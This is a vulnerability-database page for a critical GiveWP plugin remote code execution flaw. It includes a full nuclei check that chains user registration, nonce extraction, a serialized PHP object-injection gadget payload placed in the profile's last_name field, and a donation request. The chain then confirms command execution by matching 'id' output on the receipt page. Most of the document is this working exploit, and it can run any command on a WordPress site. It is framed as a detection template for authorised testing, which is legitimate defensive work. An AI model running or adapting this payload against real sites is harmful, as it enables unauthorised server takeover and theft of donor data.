Browse / CVEs / CVE-2026-82222
CVE-2026-82222· givewp / givewp· CWE-502
GiveWP <= 4.16.7.1 - Remote Code Execution
criticalseverity
9.8CVSS score
2.3%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input
Impact
Attackers can perform object injection leading to potential code execution or application logic manipulation.
Fix
Update to the latest version beyond 4.16.7.1.
How to confirm it
Send: GET /wp-json/wp/v2/give_forms
Positive when: status_code == 200 and contains(content_type, "json")
Send: POST /
Positive when: status_code == 200 || status_code == 302
Send: GET /wp-admin/profile.php
Positive when: status_code == 200 and contains(body, "profile.php")
Send: POST /wp-admin/profile.php
Positive when: status_code == 200 || status_code == 302
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 || status_code == 302 || status_code == 500
Send: GET /?give_action=view_receipt
Positive when: status_code == 200 || status_code == 500 and regex("uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)", body)Run it with nuclei: nuclei -id CVE-2026-82222 -u <target>
The full check
id: CVE-2026-82222
info:
name: GiveWP <= 4.16.7.1 - Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input
impact: |
Attackers can perform object injection leading to potential code execution or application logic manipulation.
remediation: |
Update to the latest version beyond 4.16.7.1.
reference:
- https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
- https://www.cve.org/CVERecord?id=CVE-2026-82222
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-82222
epss-score: 0.0225
epss-percentile: 0.83048
cwe-id: CWE-502
metadata:
max-request: 7
verified: true
vendor: givewp
product: givewp
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/give/"
fofa-query: body="/wp-content/plugins/give/"
tags: cve,cve2026,wordpress,wp-plugin,givewp,rce,deserialization,intrusive,vkev
variables:
cmd: "id"
cmd_len: "{{len(cmd)}}"
flow: |
var chars = "acfhjnprx";
var u = "give";
var e = "give";
var p = "P0c";
for (var i = 0; i < 8; i++) u += chars.charAt(Math.floor(Math.random() * chars.length));
for (var i = 0; i < 8; i++) e += chars.charAt(Math.floor(Math.random() * chars.length));
for (var i = 0; i < 6; i++) p += chars.charAt(Math.floor(Math.random() * chars.length));
e += "@example.com";
p += "Aa1!";
set("username", u);
set("email", e);
set("password", p);
http(1);
if (!template["form_id"]) set("form_id", "1");
if (http(2)) {
http(3);
if (http(4)) {
http(5);
if (!template["form_nonce"]) set("form_nonce", "no-hash");
http(6);
http(7);
}
}
http:
- raw:
- |
GET /wp-json/wp/v2/give_forms HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
condition: and
internal: true
extractors:
- type: regex
name: form_id
part: body
group: 1
regex:
- '"id"\s*:\s*(\d+)'
internal: true
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
give_action=user_register&give_register_submit=1&give_user_login={{username}}&give_user_email={{email}}&give_user_pass={{password}}&give_user_pass2={{password}}&give_redirect={{RootURL}}/
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
- raw:
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "profile.php")'
condition: and
internal: true
extractors:
- type: regex
name: profile_nonce
part: body
group: 1
regex:
- 'name="_wpnonce"[^>]+value="([^"]+)"'
internal: true
- type: regex
name: user_id
part: body
group: 1
regex:
- 'name="user_id"[^>]+value="([0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A%7Bs%3A15%3A%22loadedProviders%22%3Ba%3A1%3A%7Bs%3A6%3A%22getBag%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A13%3A%22attributeName%22%3Bs%3A{{cmd_len}}%3A%22{{url_encode(cmd)}}%22%3B%7D%7D&nickname={{username}}&display_name={{username}}&email={{email}}&url=&description=&pass1=&pass2=&user_login={{username}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=give_donation_form_nonce&give_form_id={{form_id}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: form_nonce
part: body
group: 1
regex:
- '"data"\s*:\s*"([a-f0-9]{8,12})"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=give_process_donation&give-form-id={{form_id}}&give-form-hash={{form_nonce}}&give-amount=25.00&give-gateway=manual&give-price-id=0&give_first=Test&give_email={{email}}&give-form-title=PoC&give-current-url={{RootURL}}/
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302 || status_code == 500'
internal: true
- raw:
- |
GET /?give_action=view_receipt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 500'
- 'regex("uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)", body)'
condition: and
extractors:
- type: regex
name: rce_output
group: 0
regex:
- 'uid=\d+\([^\)]+\)\s+gid=\d+\([^\)]+\)'References
- https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
- https://www.cve.org/CVERecord?id=CVE-2026-82222
Use this check only on systems you are authorised to test. Where the data comes from